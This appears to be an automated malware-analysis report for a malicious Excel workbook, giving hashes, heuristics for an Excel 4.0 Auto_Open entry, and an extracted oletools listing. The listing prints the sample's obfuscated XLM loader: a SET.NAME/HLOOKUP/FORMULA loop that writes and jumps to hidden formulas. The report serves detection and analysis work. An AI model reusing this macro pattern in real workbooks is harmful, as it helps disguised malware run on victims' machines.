Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 79382ce6d6c3aa7f…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:38:30 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: c7c60e3c6a50b0429cbbb08899347ce7 SHA-1: 5bcaa3b719d6d7ea45f562ae6a9915ba9f24a47f SHA-256: 79382ce6d6c3aa7fca8ab3616275490e67530fe3bf84ad29589035fd3ed09c1f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6631 bytes
SHA-256: 78e0a06560f4b9b94995e659cceef10569233812741830481488fe7fd9b868be
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LWCYqoNFx
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C161 
' 0018     22 LABEL : Cell Value, String Constant - DgbPZBU len=0 
' 0018     26 LABEL : Cell Value, String Constant - DvHQoQpcVmA len=0 
' 0018     23 LABEL : Cell Value, String Constant - euXneFqD len=0 
' 0018     27 LABEL : Cell Value, String Constant - fiBehyYMiNpV len=0 
' 0018     25 LABEL : Cell Value, String Constant - fihHSZzSpp len=0 
' 0018     25 LABEL : Cell Value, String Constant - FWZYYglaQI len=0 
' 0018     22 LABEL : Cell Value, String Constant - ITrKoSj len=0 
' 0018     22 LABEL : Cell Value, String Constant - izApvbn len=0 
' 0018     27 LABEL : Cell Value, String Constant - lsBxllNQxBtM len=0 
' 0018     24 LABEL : Cell Value, String Constant - MncbhBcUM len=0 
' 0018     27 LABEL : Cell Value, String Constant - PAcKIjLwKKLO len=0 
' 0018     23 LABEL : Cell Value, String Constant - tCWqtTcm len=0 
' 0018     27 LABEL : Cell Value, String Constant - TFBdsPxzydfN len=0 
' 0018     26 LABEL : Cell Value, String Constant - VGnCRTQXnGt len=0 
' 0018     26 LABEL : Cell Value, String Constant - WAzKQZnQPqs len=0 
' 0018     21 LABEL : Cell Value, String Constant - XTliam len=0 
' 0018     24 LABEL : Cell Value, String Constant - YckcaKhqo len=0 
' 0018     21 LABEL : Cell Value, String Constant - yFWsck len=0 
' 0018     26 LABEL : Cell Value, String Constant - ymAVwOoLSLj len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZNTUMLUEaHHQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LWCYqoNFx,C68,"SET.NAME("FWZYYglaQI",VALUE("0"))",""
'  LWCYqoNFx,C71,"SET.NAME("PAcKIjLwKKLO",FWZYYglaQI)",""
'  LWCYqoNFx,C74,"SET.NAME("ITrKoSj",FWZYYglaQI)",""
'  LWCYqoNFx,C79,"SET.NAME("tCWqtTcm",COUNTA(izApvbn))",""
'  LWCYqoNFx,C84,"SET.NAME("VGnCRTQXnGt",COUNTA(ymAVwOoLSLj))",""
'  LWCYqoNFx,C87,[],""
'  LWCYqoNFx,C92,"SET.NAME("YckcaKhqo","")",""
'  LWCYqoNFx,C97,"PAcKIjLwKKLO",""
'  LWCYqoNFx,C99,"SET.NAME("MncbhBcUM",HLOOKUP("*",izApvbn,PAcKIjLwKKLO,FALSE))",""
'  LWCYqoNFx,C103,"DvHQoQpcVmA",""
'  LWCYqoNFx,C106,"SET.NAME("XTliam",FWZYYglaQI)",""
'  LWCYqoNFx,C109,[],""
'  LWCYqoNFx,C112,"XTliam",""
'  LWCYqoNFx,C115,"fiBehyYMiNpV",""
'  LWCYqoNFx,C117,"lsBxllNQxBtM",""
'  LWCYqoNFx,C119,"yFWsck",""
'  LWCYqoNFx,C123,"SET.NAME("ZNTUMLUEaHHQ",VALUE(HLOOKUP("*",ymAVwOoLSLj,yFWsck,FALSE)))",""
'  LWCYqoNFx,C126,"DgbPZBU",""
'  LWCYqoNFx,C131,"YckcaKhqo",""
'  LWCYqoNFx,C133,"ITrKoSj",""
'  LWCYqoNFx,C137,NEXT(),""
'  LWCYqoNFx,C141,"fihHSZzSpp",""
'  LWCYqoNFx,C145,"SET.NAME("f",INT(T(FORMULA(T(YckcaKhqo)&"",""&T(fihHSZzSpp)))))",""
'  LWCYqoNFx,C148,"euXneFqD",""
'  LWCYqoNFx,C151,NEXT(),""
'  LWCYqoNFx,C156,RETURN(),""
'  LWCYqoNFx,C184,"SET.NAME("TFBdsPxzydfN",C68)",""
'  LWCYqoNFx,C187,"izApvbn",""
'  LWCYqoNFx,C190,"SET.NAME("ymAVwOoLSLj",R47C13)",""
'  LWCYqoNFx,C195,"SET.NAME("euXneFqD",201)",""
'  LWCYqoNFx,C197,"SET.NAME("WAzKQZnQPqs",3)",""
'  LWCYqoNFx,C200,TFBdsPxzydfN(),""
'  LWCYqoNFx,C201,HALT(),""

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